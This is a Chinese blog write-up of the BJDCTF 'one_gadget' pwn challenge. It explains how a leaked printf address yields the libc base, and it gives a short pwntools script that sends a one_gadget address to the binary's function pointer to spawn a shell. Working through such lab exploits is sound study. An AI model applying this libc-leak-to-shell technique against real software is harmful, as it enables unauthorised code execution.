BJDCTF_ one_gadget
2020-05-06 04:32
453 查看
考察点:one_gadget
题目给出了 printf 的地址,由此可算得 libc 基址,然后找 one_gadget、计算 libc 中 one_gadget 地址
printf("Give me your one gadget:"); __isoc99_scanf("%ld", &v4); v5 = v4; v4();
v4 是个函数指针,scanf 的时候把 one_gadget 转成十进制输入即可 getshell。
得倒prinf函数实际地址
0x7f551a4ebe80
寻找对应的libc版本
由于是本地所以其实是知道版本的就是2.27
确定one_gadget
最后写exp
from pwn import * p = process('./one_gadget') libc=ELF('./libc-2.27.so') one_gadget = 0x10a38c # elf, libc printf_libc = libc.symbols['printf'] p.recvuntil('here is the gift for u:') printf = int(p.recv(14),16) libc_base = printf-printf_libc print printf p.recvuntil('gadget:') p.sendline(str(one_gadget+libc_base)) p.interactive()棂星 原创文章 5获赞 1访问量 168 关注 私信
相关文章推荐
- 【CTF】32位/64位dlresolve最全总结(无地址泄露执行one_gadget)
- BJDCTF 2nd-Misc
- BJDCTF on buuoj
- BJDCTF 第二届 WEBwriteup
- BJDCTF 2nd总结
- Study English One
- The 3 Types of Buyers, and How to Optimize for Each One
- SAP Business One 入门1
- JQuery中事件one、bind、unbind、live、delegate、on、off、trigger、triggerHandler的各种使用区别
- One-Jar之旅
- #One paper per week# MAP: Microblogging Assisted Profiling of TV Shows
- Lesson one hundred twenty-seven A famous actress.
- hander同步技巧 利用post之后的消息是最后完成的,实现同步。关键看waitDone的实现。带面精简Camera应用。
- Sun ONE Studio 4 Mobile Edition开发MIDlet入门
- 开源web终端gateone
- 应聘Java笔试时可能出现问题及其答案(第二版Part one)
- Fling One
- one-to-many一对多和hibernate简单操作
- Validation failed for one or more entities. See ‘EntityValidationErrors’解决方法
- Hibernate cascade order for one-to-many mapping